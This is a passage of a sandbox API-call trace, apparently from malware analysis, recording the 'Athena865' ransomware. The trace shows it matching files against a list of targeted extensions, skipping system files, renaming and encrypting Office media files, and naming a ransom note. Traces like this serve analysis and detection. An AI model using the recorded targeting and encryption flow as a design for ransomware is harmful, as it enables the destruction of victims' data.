returned 1 [0152.775] lstrlenW (lpString="ade") returned 3 [0152.775] lstrcmpiW (lpString1="WAV", lpString2="ade") returned 1 [0152.775] lstrlenW (lpString="adf") returned 3 [0152.775] lstrcmpiW (lpString1="WAV", lpString2="adf") returned 1 [0152.775] lstrlenW (lpString="adn") returned 3 [0152.775] lstrcmpiW (lpString1="WAV", lpString2="adn") returned 1 [0152.775] lstrlenW (lpString="adp") returned 3 [0152.775] lstrcmpiW (lpString1="WAV", lpString2="adp") returned 1 [0152.775] lstrlenW (lpString="alf") returned 3 [0152.775] lstrcmpiW (lpString1="WAV", lpString2="alf") returned 1 [0152.775] lstrlenW (lpString="ask") returned 3 [0152.776] lstrcmpiW (lpString1="WAV", lpString2="ask") returned 1 [0152.776] lstrlenW (lpString="btr") returned 3 [0152.776] lstrcmpiW (lpString1="WAV", lpString2="btr") returned 1 [0152.776] lstrlenW (lpString="cat") returned 3 [0152.776] lstrcmpiW (lpString1="WAV", lpString2="cat") returned 1 [0152.776] lstrlenW (lpString="cdb") returned 3 [0152.776] lstrcmpiW (lpString1="WAV", lpString2="cdb") returned 1 [0152.776] lstrlenW (lpString="ckp") returned 3 [0152.776] lstrcmpiW (lpString1="WAV", lpString2="ckp") returned 1 [0152.776] lstrlenW (lpString="cma") returned 3 [0152.776] lstrcmpiW (lpString1="WAV", lpString2="cma") returned 1 [0152.776] lstrlenW (lpString="cpd") returned 3 [0152.776] lstrcmpiW (lpString1="WAV", lpString2="cpd") returned 1 [0152.776] lstrlenW (lpString="dacpac") returned 6 [0152.776] lstrcmpiW (lpString1="RA.WAV", lpString2="dacpac") returned 1 [0152.776] lstrlenW (lpString="dad") returned 3 [0152.776] lstrcmpiW (lpString1="WAV", lpString2="dad") returned 1 [0152.776] lstrlenW (lpString="dadiagrams") returned 10 [0152.776] lstrlenW (lpString="daschema") returned 8 [0152.776] lstrcmpiW (lpString1="MERA.WAV", lpString2="daschema") returned 1 [0152.776] lstrlenW (lpString="db-journal") returned 10 [0152.776] lstrlenW (lpString="db-shm") returned 6 [0152.776] lstrcmpiW (lpString1="RA.WAV", lpString2="db-shm") returned 1 [0152.776] lstrlenW (lpString="db-wal") returned 6 [0152.776] lstrcmpiW (lpString1="RA.WAV", lpString2="db-wal") returned 1 [0152.776] lstrlenW (lpString="dbc") returned 3 [0152.776] lstrcmpiW (lpString1="WAV", lpString2="dbc") returned 1 [0152.776] lstrlenW (lpString="dbs") returned 3 [0152.777] lstrcmpiW (lpString1="WAV", lpString2="dbs") returned 1 [0152.777] lstrlenW (lpString="dbt") returned 3 [0152.777] lstrcmpiW (lpString1="WAV", lpString2="dbt") returned 1 [0152.777] lstrlenW (lpString="dbv") returned 3 [0152.777] lstrcmpiW (lpString1="WAV", lpString2="dbv") returned 1 [0152.777] lstrlenW (lpString="dbx") returned 3 [0152.777] lstrcmpiW (lpString1="WAV", lpString2="dbx") returned 1 [0152.777] lstrlenW (lpString="dcb") returned 3 [0152.777] lstrcmpiW (lpString1="WAV", lpString2="dcb") returned 1 [0152.777] lstrlenW (lpString="dct") returned 3 [0152.777] lstrcmpiW (lpString1="WAV", lpString2="dct") returned 1 [0152.777] lstrlenW (lpString="dcx") returned 3 [0152.777] lstrcmpiW (lpString1="WAV", lpString2="dcx") returned 1 [0152.777] lstrlenW (lpString="ddl") returned 3 [0152.777] lstrcmpiW (lpString1="WAV", lpString2="ddl") returned 1 [0152.777] lstrlenW (lpString="dlis") returned 4 [0152.777] lstrcmpiW (lpString1=".WAV", lpString2="dlis") returned -1 [0152.777] lstrlenW (lpString="dp1") returned 3 [0152.777] lstrcmpiW (lpString1="WAV", lpString2="dp1") returned 1 [0152.777] lstrlenW (lpString="dqy") returned 3 [0152.777] lstrcmpiW (lpString1="WAV", lpString2="dqy") returned 1 [0152.777] lstrlenW (lpString="dsk") returned 3 [0152.777] lstrcmpiW (lpString1="WAV", lpString2="dsk") returned 1 [0152.777] lstrlenW (lpString="dsn") returned 3 [0152.777] lstrcmpiW (lpString1="WAV", lpString2="dsn") returned 1 [0152.777] lstrlenW (lpString="dtsx") returned 4 [0152.777] lstrcmpiW (lpString1=".WAV", lpString2="dtsx") returned -1 [0152.777] lstrlenW (lpString="dxl") returned 3 [0152.778] lstrcmpiW (lpString1="WAV", lpString2="dxl") returned 1 [0152.778] lstrlenW (lpString="eco") returned 3 [0152.778] lstrcmpiW (lpString1="WAV", lpString2="eco") returned 1 [0152.778] lstrlenW (lpString="ecx") returned 3 [0152.778] lstrcmpiW (lpString1="WAV", lpString2="ecx") returned 1 [0152.778] lstrlenW (lpString="edb") returned 3 [0152.778] lstrcmpiW (lpString1="WAV", lpString2="edb") returned 1 [0152.778] lstrlenW (lpString="epim") returned 4 [0152.778] lstrcmpiW (lpString1=".WAV", lpString2="epim") returned -1 [0152.778] lstrlenW (lpString="fcd") returned 3 [0152.778] lstrcmpiW (lpString1="WAV", lpString2="fcd") returned 1 [0152.778] lstrlenW (lpString="fdb") returned 3 [0152.778] lstrcmpiW (lpString1="WAV", lpString2="fdb") returned 1 [0152.778] lstrlenW (lpString="fic") returned 3 [0152.778] lstrcmpiW (lpString1="WAV", lpString2="fic") returned 1 [0152.778] lstrlenW (lpString="flexolibrary") returned 12 [0152.778] lstrlenW (lpString="fm5") returned 3 [0152.778] lstrcmpiW (lpString1="WAV", lpString2="fm5") returned 1 [0152.778] lstrlenW (lpString="fmp") returned 3 [0152.778] lstrcmpiW (lpString1="WAV", lpString2="fmp") returned 1 [0152.778] lstrlenW (lpString="fmp12") returned 5 [0152.778] lstrcmpiW (lpString1="A.WAV", lpString2="fmp12") returned -1 [0152.778] lstrlenW (lpString="fmpsl") returned 5 [0152.778] lstrcmpiW (lpString1="A.WAV", lpString2="fmpsl") returned -1 [0152.778] lstrlenW (lpString="fol") returned 3 [0152.778] lstrcmpiW (lpString1="WAV", lpString2="fol") returned 1 [0152.778] lstrlenW (lpString="fp3") returned 3 [0152.778] lstrcmpiW (lpString1="WAV", lpString2="fp3") returned 1 [0152.779] lstrlenW (lpString="fp4") returned 3 [0152.779] lstrcmpiW (lpString1="WAV", lpString2="fp4") returned 1 [0152.779] lstrlenW (lpString="fp5") returned 3 [0152.779] lstrcmpiW (lpString1="WAV", lpString2="fp5") returned 1 [0152.779] lstrlenW (lpString="fp7") returned 3 [0152.779] lstrcmpiW (lpString1="WAV", lpString2="fp7") returned 1 [0152.779] lstrlenW (lpString="fpt") returned 3 [0152.779] lstrcmpiW (lpString1="WAV", lpString2="fpt") returned 1 [0152.779] lstrlenW (lpString="frm") returned 3 [0152.779] lstrcmpiW (lpString1="WAV", lpString2="frm") returned 1 [0152.779] lstrlenW (lpString="gdb") returned 3 [0152.779] lstrcmpiW (lpString1="WAV", lpString2="gdb") returned 1 [0152.779] lstrlenW (lpString="gdb") returned 3 [0152.779] lstrcmpiW (lpString1="WAV", lpString2="gdb") returned 1 [0152.779] lstrlenW (lpString="grdb") returned 4 [0152.779] lstrcmpiW (lpString1=".WAV", lpString2="grdb") returned -1 [0152.779] lstrlenW (lpString="gwi") returned 3 [0152.779] lstrcmpiW (lpString1="WAV", lpString2="gwi") returned 1 [0152.779] lstrlenW (lpString="hdb") returned 3 [0152.779] lstrcmpiW (lpString1="WAV", lpString2="hdb") returned 1 [0152.779] lstrlenW (lpString="his") returned 3 [0152.779] lstrcmpiW (lpString1="WAV", lpString2="his") returned 1 [0152.779] lstrlenW (lpString="ib") returned 2 [0152.779] lstrcmpiW (lpString1="AV", lpString2="ib") returned -1 [0152.779] lstrlenW (lpString="idb") returned 3 [0152.779] lstrcmpiW (lpString1="WAV", lpString2="idb") returned 1 [0152.779] lstrlenW (lpString="ihx") returned 3 [0152.779] lstrcmpiW (lpString1="WAV", lpString2="ihx") returned 1 [0152.780] lstrlenW (lpString="itdb") returned 4 [0152.780] lstrcmpiW (lpString1=".WAV", lpString2="itdb") returned -1 [0152.780] lstrlenW (lpString="itw") returned 3 [0152.780] lstrcmpiW (lpString1="WAV", lpString2="itw") returned 1 [0152.780] lstrlenW (lpString="jet") returned 3 [0152.780] lstrcmpiW (lpString1="WAV", lpString2="jet") returned 1 [0152.780] lstrlenW (lpString="jtx") returned 3 [0152.780] lstrcmpiW (lpString1="WAV", lpString2="jtx") returned 1 [0152.780] lstrlenW (lpString="kdb") returned 3 [0152.780] lstrcmpiW (lpString1="WAV", lpString2="kdb") returned 1 [0152.780] lstrlenW (lpString="kexi") returned 4 [0152.780] lstrcmpiW (lpString1=".WAV", lpString2="kexi") returned -1 [0152.780] lstrlenW (lpString="kexic") returned 5 [0152.780] lstrcmpiW (lpString1="A.WAV", lpString2="kexic") returned -1 [0152.780] lstrlenW (lpString="kexis") returned 5 [0152.780] lstrcmpiW (lpString1="A.WAV", lpString2="kexis") returned -1 [0152.780] lstrlenW (lpString="lgc") returned 3 [0152.780] lstrcmpiW (lpString1="WAV", lpString2="lgc") returned 1 [0152.780] lstrlenW (lpString="lwx") returned 3 [0152.780] lstrcmpiW (lpString1="WAV", lpString2="lwx") returned 1 [0152.780] lstrlenW (lpString="maf") returned 3 [0152.780] lstrcmpiW (lpString1="WAV", lpString2="maf") returned 1 [0152.780] lstrlenW (lpString="maq") returned 3 [0152.780] lstrcmpiW (lpString1="WAV", lpString2="maq") returned 1 [0152.780] lstrlenW (lpString="mar") returned 3 [0152.780] lstrcmpiW (lpString1="WAV", lpString2="mar") returned 1 [0152.780] lstrlenW (lpString="marshal") returned 7 [0152.780] lstrcmpiW (lpString1="ERA.WAV", lpString2="marshal") returned -1 [0152.780] lstrlenW (lpString="mas") returned 3 [0152.781] lstrcmpiW (lpString1="WAV", lpString2="mas") returned 1 [0152.781] lstrlenW (lpString="mav") returned 3 [0152.781] lstrcmpiW (lpString1="WAV", lpString2="mav") returned 1 [0152.781] lstrlenW (lpString="maw") returned 3 [0152.781] lstrcmpiW (lpString1="WAV", lpString2="maw") returned 1 [0152.781] lstrlenW (lpString="mdbhtml") returned 7 [0152.781] lstrcmpiW (lpString1="ERA.WAV", lpString2="mdbhtml") returned -1 [0152.781] lstrlenW (lpString="mdn") returned 3 [0152.781] lstrcmpiW (lpString1="WAV", lpString2="mdn") returned 1 [0152.781] lstrlenW (lpString="mdt") returned 3 [0152.781] lstrcmpiW (lpString1="WAV", lpString2="mdt") returned 1 [0152.781] lstrlenW (lpString="mfd") returned 3 [0152.781] lstrcmpiW (lpString1="WAV", lpString2="mfd") returned 1 [0152.781] lstrlenW (lpString="mpd") returned 3 [0152.781] lstrcmpiW (lpString1="WAV", lpString2="mpd") returned 1 [0152.781] lstrlenW (lpString="mrg") returned 3 [0152.781] lstrcmpiW (lpString1="WAV", lpString2="mrg") returned 1 [0152.781] lstrlenW (lpString="mud") returned 3 [0152.781] lstrcmpiW (lpString1="WAV", lpString2="mud") returned 1 [0152.781] lstrlenW (lpString="mwb") returned 3 [0152.781] lstrcmpiW (lpString1="WAV", lpString2="mwb") returned 1 [0152.781] lstrlenW (lpString="myd") returned 3 [0152.781] lstrcmpiW (lpString1="WAV", lpString2="myd") returned 1 [0152.781] lstrlenW (lpString="ndf") returned 3 [0152.781] lstrcmpiW (lpString1="WAV", lpString2="ndf") returned 1 [0152.781] lstrlenW (lpString="nnt") returned 3 [0152.781] lstrcmpiW (lpString1="WAV", lpString2="nnt") returned 1 [0152.781] lstrlenW (lpString="nrmlib") returned 6 [0152.781] lstrcmpiW (lpString1="RA.WAV", lpString2="nrmlib") returned 1 [0152.782] lstrlenW (lpString="ns2") returned 3 [0152.782] lstrcmpiW (lpString1="WAV", lpString2="ns2") returned 1 [0152.782] lstrlenW (lpString="ns3") returned 3 [0152.782] lstrcmpiW (lpString1="WAV", lpString2="ns3") returned 1 [0152.782] lstrlenW (lpString="ns4") returned 3 [0152.782] lstrcmpiW (lpString1="WAV", lpString2="ns4") returned 1 [0152.782] lstrlenW (lpString="nsf") returned 3 [0152.782] lstrcmpiW (lpString1="WAV", lpString2="nsf") returned 1 [0152.782] lstrlenW (lpString="nv") returned 2 [0152.782] lstrcmpiW (lpString1="AV", lpString2="nv") returned -1 [0152.782] lstrlenW (lpString="nv2") returned 3 [0152.782] lstrcmpiW (lpString1="WAV", lpString2="nv2") returned 1 [0152.782] lstrlenW (lpString="nwdb") returned 4 [0152.782] lstrcmpiW (lpString1=".WAV", lpString2="nwdb") returned -1 [0152.782] lstrlenW (lpString="nyf") returned 3 [0152.782] lstrcmpiW (lpString1="WAV", lpString2="nyf") returned 1 [0152.782] lstrlenW (lpString="odb") returned 3 [0152.782] lstrcmpiW (lpString1="WAV", lpString2="odb") returned 1 [0152.782] lstrlenW (lpString="odb") returned 3 [0152.782] lstrcmpiW (lpString1="WAV", lpString2="odb") returned 1 [0152.782] lstrlenW (lpString="oqy") returned 3 [0152.782] lstrcmpiW (lpString1="WAV", lpString2="oqy") returned 1 [0152.782] lstrlenW (lpString="ora") returned 3 [0152.782] lstrcmpiW (lpString1="WAV", lpString2="ora") returned 1 [0152.782] lstrlenW (lpString="orx") returned 3 [0152.782] lstrcmpiW (lpString1="WAV", lpString2="orx") returned 1 [0152.782] lstrlenW (lpString="owc") returned 3 [0152.782] lstrcmpiW (lpString1="WAV", lpString2="owc") returned 1 [0152.782] lstrlenW (lpString="p96") returned 3 [0152.783] lstrcmpiW (lpString1="WAV", lpString2="p96") returned 1 [0152.783] lstrlenW (lpString="p97") returned 3 [0152.783] lstrcmpiW (lpString1="WAV", lpString2="p97") returned 1 [0152.783] lstrlenW (lpString="pan") returned 3 [0152.783] lstrcmpiW (lpString1="WAV", lpString2="pan") returned 1 [0152.783] lstrlenW (lpString="pdb") returned 3 [0152.783] lstrcmpiW (lpString1="WAV", lpString2="pdb") returned 1 [0152.783] lstrlenW (lpString="pdm") returned 3 [0152.783] lstrcmpiW (lpString1="WAV", lpString2="pdm") returned 1 [0152.783] lstrlenW (lpString="pnz") returned 3 [0152.783] lstrcmpiW (lpString1="WAV", lpString2="pnz") returned 1 [0152.783] lstrlenW (lpString="qry") returned 3 [0152.783] lstrcmpiW (lpString1="WAV", lpString2="qry") returned 1 [0152.783] lstrlenW (lpString="qvd") returned 3 [0152.783] lstrcmpiW (lpString1="WAV", lpString2="qvd") returned 1 [0152.783] lstrlenW (lpString="rbf") returned 3 [0152.783] lstrcmpiW (lpString1="WAV", lpString2="rbf") returned 1 [0152.783] lstrlenW (lpString="rctd") returned 4 [0152.783] lstrcmpiW (lpString1=".WAV", lpString2="rctd") returned -1 [0152.783] lstrlenW (lpString="rod") returned 3 [0152.783] lstrcmpiW (lpString1="WAV", lpString2="rod") returned 1 [0152.783] lstrlenW (lpString="rodx") returned 4 [0152.783] lstrcmpiW (lpString1=".WAV", lpString2="rodx") returned -1 [0152.783] lstrlenW (lpString="rpd") returned 3 [0152.783] lstrcmpiW (lpString1="WAV", lpString2="rpd") returned 1 [0152.783] lstrlenW (lpString="rsd") returned 3 [0152.783] lstrcmpiW (lpString1="WAV", lpString2="rsd") returned 1 [0152.784] lstrlenW (lpString="sas7bdat") returned 8 [0152.784] lstrcmpiW (lpString1="MERA.WAV", lpString2="sas7bdat") returned -1 [0152.784] lstrlenW (lpString="sbf") returned 3 [0152.784] lstrcmpiW (lpString1="WAV", lpString2="sbf") returned 1 [0152.784] lstrlenW (lpString="scx") returned 3 [0152.784] lstrcmpiW (lpString1="WAV", lpString2="scx") returned 1 [0152.784] lstrlenW (lpString="sdb") returned 3 [0152.784] lstrcmpiW (lpString1="WAV", lpString2="sdb") returned 1 [0152.784] lstrlenW (lpString="sdc") returned 3 [0152.784] lstrcmpiW (lpString1="WAV", lpString2="sdc") returned 1 [0152.784] lstrlenW (lpString="sdf") returned 3 [0152.784] lstrcmpiW (lpString1="WAV", lpString2="sdf") returned 1 [0152.784] lstrlenW (lpString="sis") returned 3 [0152.784] lstrcmpiW (lpString1="WAV", lpString2="sis") returned 1 [0152.784] lstrlenW (lpString="spq") returned 3 [0152.784] lstrcmpiW (lpString1="WAV", lpString2="spq") returned 1 [0152.784] lstrlenW (lpString="te") returned 2 [0152.784] lstrcmpiW (lpString1="AV", lpString2="te") returned -1 [0152.784] lstrlenW (lpString="teacher") returned 7 [0152.784] lstrcmpiW (lpString1="ERA.WAV", lpString2="teacher") returned -1 [0152.784] lstrlenW (lpString="tmd") returned 3 [0152.784] lstrcmpiW (lpString1="WAV", lpString2="tmd") returned 1 [0152.784] lstrlenW (lpString="tps") returned 3 [0152.784] lstrcmpiW (lpString1="WAV", lpString2="tps") returned 1 [0152.784] lstrlenW (lpString="trc") returned 3 [0152.784] lstrcmpiW (lpString1="WAV", lpString2="trc") returned 1 [0152.784] lstrlenW (lpString="trc") returned 3 [0152.784] lstrcmpiW (lpString1="WAV", lpString2="trc") returned 1 [0152.785] lstrlenW (lpString="trm") returned 3 [0152.785] lstrcmpiW (lpString1="WAV", lpString2="trm") returned 1 [0152.785] lstrlenW (lpString="udb") returned 3 [0152.785] lstrcmpiW (lpString1="WAV", lpString2="udb") returned 1 [0152.785] lstrlenW (lpString="udl") returned 3 [0152.785] lstrcmpiW (lpString1="WAV", lpString2="udl") returned 1 [0152.785] lstrlenW (lpString="usr") returned 3 [0152.785] lstrcmpiW (lpString1="WAV", lpString2="usr") returned 1 [0152.785] lstrlenW (lpString="v12") returned 3 [0152.785] lstrcmpiW (lpString1="WAV", lpString2="v12") returned 1 [0152.785] lstrlenW (lpString="vis") returned 3 [0152.785] lstrcmpiW (lpString1="WAV", lpString2="vis") returned 1 [0152.785] lstrlenW (lpString="vpd") returned 3 [0152.785] lstrcmpiW (lpString1="WAV", lpString2="vpd") returned 1 [0152.785] lstrlenW (lpString="vvv") returned 3 [0152.785] lstrcmpiW (lpString1="WAV", lpString2="vvv") returned 1 [0152.785] lstrlenW (lpString="wdb") returned 3 [0152.785] lstrcmpiW (lpString1="WAV", lpString2="wdb") returned -1 [0152.785] lstrlenW (lpString="wmdb") returned 4 [0152.785] lstrcmpiW (lpString1=".WAV", lpString2="wmdb") returned -1 [0152.785] lstrlenW (lpString="wrk") returned 3 [0152.785] lstrcmpiW (lpString1="WAV", lpString2="wrk") returned -1 [0152.785] lstrlenW (lpString="xdb") returned 3 [0152.785] lstrcmpiW (lpString1="WAV", lpString2="xdb") returned -1 [0152.785] lstrlenW (lpString="xld") returned 3 [0152.785] lstrcmpiW (lpString1="WAV", lpString2="xld") returned -1 [0152.785] lstrlenW (lpString="xmlff") returned 5 [0152.785] lstrcmpiW (lpString1="A.WAV", lpString2="xmlff") returned -1 [0152.786] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV.Athena865") returned 69 [0152.786] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\camera.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\media\\camera.wav.athena865"), dwFlags=0x1) returned 1 [0152.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\media\\camera.wav.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0152.788] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5524) returned 1 [0152.788] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0152.788] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0152.788] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54f078 [0152.788] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54f100) returned 1 [0152.789] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0152.789] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0152.789] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18a0, lpName=0x0) returned 0x154 [0152.792] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18a0) returned 0x100000 [0152.793] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54f100) returned 1 [0152.794] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0152.794] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0152.794] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0152.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0152.794] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0152.794] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0152.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0152.794] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0152.794] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0152.795] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0152.795] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0152.795] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0152.795] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0152.795] CloseHandle (hObject=0x154) returned 1 [0152.795] CloseHandle (hObject=0x17c) returned 1 [0152.795] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0152.795] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54f078 | out: hHeap=0x4f0000) returned 1 [0152.795] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0152.795] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b50b600, ftCreationTime.dwHighDateTime=0x1bc8d47, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b50b600, ftLastWriteTime.dwHighDateTime=0x1bc8d47, nFileSizeHigh=0x0, nFileSizeLow=0x1d7f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CASHREG.WAV", cAlternateFileName="")) returned 1 [0152.795] lstrcmpiW (lpString1="CASHREG.WAV", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0152.795] lstrcmpiW (lpString1="CASHREG.WAV", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0152.795] lstrcmpiW (lpString1="CASHREG.WAV", lpString2=".") returned 1 [0152.796] lstrcmpiW (lpString1="CASHREG.WAV", lpString2="..") returned 1 [0152.796] lstrcmpiW (lpString1="CASHREG.WAV", lpString2="windows") returned -1 [0152.796] lstrcmpiW (lpString1="CASHREG.WAV", lpString2="bootmgr") returned 1 [0152.796] lstrcmpiW (lpString1="CASHREG.WAV", lpString2="temp") returned -1 [0152.796] lstrcmpiW (lpString1="CASHREG.WAV", lpString2="pagefile.sys") returned -1 [0152.796] lstrcmpiW (lpString1="CASHREG.WAV", lpString2="boot") returned 1 [0152.796] lstrcmpiW (lpString1="CASHREG.WAV", lpString2="ids.txt") returned -1 [0152.796] lstrcmpiW (lpString1="CASHREG.WAV", lpString2="ntuser.dat") returned -1 [0152.796] lstrcmpiW (lpString1="CASHREG.WAV", lpString2="perflogs") returned -1 [0152.796] lstrcmpiW (lpString1="CASHREG.WAV", lpString2="MSBuild") returned -1 [0152.796] lstrlenW (lpString="CASHREG.WAV") returned 11 [0152.796] lstrcpyW (in: lpString1=0x241e8aa, lpString2="CASHREG.WAV" | out: lpString1="CASHREG.WAV") returned="CASHREG.WAV" [0152.796] lstrlenW (lpString="CASHREG.WAV") returned 11 [0152.796] lstrlenW (lpString="Athena865") returned 9 [0152.796] lstrcmpiW (lpString1="SHREG.WAV", lpString2="Athena865") returned 1 [0152.796] lstrlenW (lpString=".dll") returned 4 [0152.796] lstrcmpiW (lpString1="CASHREG.WAV", lpString2=".dll") returned 1 [0152.796] lstrlenW (lpString=".lnk") returned 4 [0152.796] lstrcmpiW (lpString1="CASHREG.WAV", lpString2=".lnk") returned 1 [0152.796] lstrlenW (lpString=".ini") returned 4 [0152.796] lstrcmpiW (lpString1="CASHREG.WAV", lpString2=".ini") returned 1 [0152.796] lstrlenW (lpString=".sys") returned 4 [0152.796] lstrcmpiW (lpString1="CASHREG.WAV", lpString2=".sys") returned 1 [0152.796] lstrlenW (lpString="CASHREG.WAV") returned 11 [0152.796] lstrlenW (lpString="bak") returned 3 [0152.796] lstrcmpiW (lpString1="WAV", lpString2="bak") returned 1 [0152.796] lstrlenW (lpString="ba_") returned 3 [0152.796] lstrcmpiW (lpString1="WAV", lpString2="ba_") returned 1 [0152.797] lstrlenW (lpString="dbb") returned 3 [0152.797] lstrcmpiW (lpString1="WAV", lpString2="dbb") returned 1 [0152.797] lstrlenW (lpString="vmdk") returned 4 [0152.797] lstrcmpiW (lpString1=".WAV", lpString2="vmdk") returned -1 [0152.797] lstrlenW (lpString="rar") returned 3 [0152.797] lstrcmpiW (lpString1="WAV", lpString2="rar") returned 1 [0152.797] lstrlenW (lpString="zip") returned 3 [0152.797] lstrcmpiW (lpString1="WAV", lpString2="zip") returned -1 [0152.797] lstrlenW (lpString="tgz") returned 3 [0152.797] lstrcmpiW (lpString1="WAV", lpString2="tgz") returned 1 [0152.797] lstrlenW (lpString="vbox") returned 4 [0152.797] lstrcmpiW (lpString1=".WAV", lpString2="vbox") returned -1 [0152.797] lstrlenW (lpString="vdi") returned 3 [0152.797] lstrcmpiW (lpString1="WAV", lpString2="vdi") returned 1 [0152.797] lstrlenW (lpString="vhd") returned 3 [0152.797] lstrcmpiW (lpString1="WAV", lpString2="vhd") returned 1 [0152.797] lstrlenW (lpString="vhdx") returned 4 [0152.797] lstrcmpiW (lpString1=".WAV", lpString2="vhdx") returned -1 [0152.797] lstrlenW (lpString="avhd") returned 4 [0152.797] lstrcmpiW (lpString1=".WAV", lpString2="avhd") returned -1 [0152.797] lstrlenW (lpString="db") returned 2 [0152.797] lstrcmpiW (lpString1="AV", lpString2="db") returned -1 [0152.797] lstrlenW (lpString="db2") returned 3 [0152.797] lstrcmpiW (lpString1="WAV", lpString2="db2") returned 1 [0152.797] lstrlenW (lpString="db3") returned 3 [0152.797] lstrcmpiW (lpString1="WAV", lpString2="db3") returned 1 [0152.797] lstrlenW (lpString="dbf") returned 3 [0152.797] lstrcmpiW (lpString1="WAV", lpString2="dbf") returned 1 [0152.798] lstrlenW (lpString="mdf") returned 3 [0152.798] lstrcmpiW (lpString1="WAV", lpString2="mdf") returned 1 [0152.798] lstrlenW (lpString="mdb") returned 3 [0152.798] lstrcmpiW (lpString1="WAV", lpString2="mdb") returned 1 [0152.798] lstrlenW (lpString="sql") returned 3 [0152.798] lstrcmpiW (lpString1="WAV", lpString2="sql") returned 1 [0152.798] lstrlenW (lpString="sqlite") returned 6 [0152.798] lstrcmpiW (lpString1="EG.WAV", lpString2="sqlite") returned -1 [0152.798] lstrlenW (lpString="sqlite3") returned 7 [0152.798] lstrcmpiW (lpString1="REG.WAV", lpString2="sqlite3") returned -1 [0152.798] lstrlenW (lpString="sqlitedb") returned 8 [0152.798] lstrcmpiW (lpString1="HREG.WAV", lpString2="sqlitedb") returned -1 [0152.798] lstrlenW (lpString="xml") returned 3 [0152.798] lstrcmpiW (lpString1="WAV", lpString2="xml") returned -1 [0152.798] lstrlenW (lpString="$er") returned 3 [0152.798] lstrcmpiW (lpString1="WAV", lpString2="$er") returned 1 [0152.798] lstrlenW (lpString="4dd") returned 3 [0152.798] lstrcmpiW (lpString1="WAV", lpString2="4dd") returned 1 [0152.798] lstrlenW (lpString="4dl") returned 3 [0152.798] lstrcmpiW (lpString1="WAV", lpString2="4dl") returned 1 [0152.798] lstrlenW (lpString="^^^") returned 3 [0152.798] lstrcmpiW (lpString1="WAV", lpString2="^^^") returned 1 [0152.798] lstrlenW (lpString="abs") returned 3 [0152.798] lstrcmpiW (lpString1="WAV", lpString2="abs") returned 1 [0152.798] lstrlenW (lpString="abx") returned 3 [0152.798] lstrcmpiW (lpString1="WAV", lpString2="abx") returned 1 [0152.798] lstrlenW (lpString="accdb") returned 5 [0152.799] lstrcmpiW (lpString1="G.WAV", lpString2="accdb") returned 1 [0152.799] lstrlenW 